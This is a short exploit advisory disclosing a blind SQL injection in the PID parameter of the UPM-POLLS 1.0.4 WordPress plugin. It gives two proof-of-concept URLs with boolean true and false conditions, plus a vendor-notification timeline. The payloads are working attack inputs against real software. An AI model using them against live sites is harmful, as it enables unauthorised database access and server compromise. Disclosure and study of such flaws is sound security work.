WordPress UPM-POLLS 1.0.4 Blind SQL Injection

`# Exploit Title: BLIND SQL injection UPM-POLLS wordpress plugin 1.0.4  
# Google Dork: n/a  
# Date: 04-12-2011  
# Author: Saif El-Sherei  
# Software Link: http://downloads.wordpress.org/plugin/upm-polls.1.0.4.zip  
# Version: 1.0.4  
# Tested on: wordpress 3.2.1,Firefox 4, XAMPP  
  
  
Info:  
  
Best Plugin to create Polls for your site. Everything is smoother, faster,  
and seamless like WordPress itself.  
  
Poll Manager,  
Ability to set general and post/page specific polls,  
Ability to leaf over the polls  
Ability to add certain poll in certain post content  
Ability to show polls either with and without current results of  
polls  
  
  
Details:  
  
the Variable PID is not properly sanitized in the get request before  
insertion into the database query; allowing an attaacker or any user who  
can view poll results (supposedly all user) to use blind sql injection to  
extract database data and possibly compromise the whole server. a POC is  
provided with both true and false results.  
  
POC 1(TRUE):  
  
http://127.0.0.1/wordpress/wp-admin/admin-ajax.php?action=upm_ayax_polls_result&do=result&post=1&type=general&PID=2and  
1=1  
  
"poll results for poll 2 is displayed"  
  
POC 2 (FALSE):  
  
http://127.0.0.1/wordpress/wp-admin/admin-ajax.php?action=upm_ayax_polls_result&do=result&post=1&type=general&PID=2and  
1=2  
  
"Blank page is displayed"  
  
Time Line:  
04-12-2011 Vulnerability discovered  
04-12-2011 Vendor notified  
11-12-2011 No response from vendor, public disclosure  
`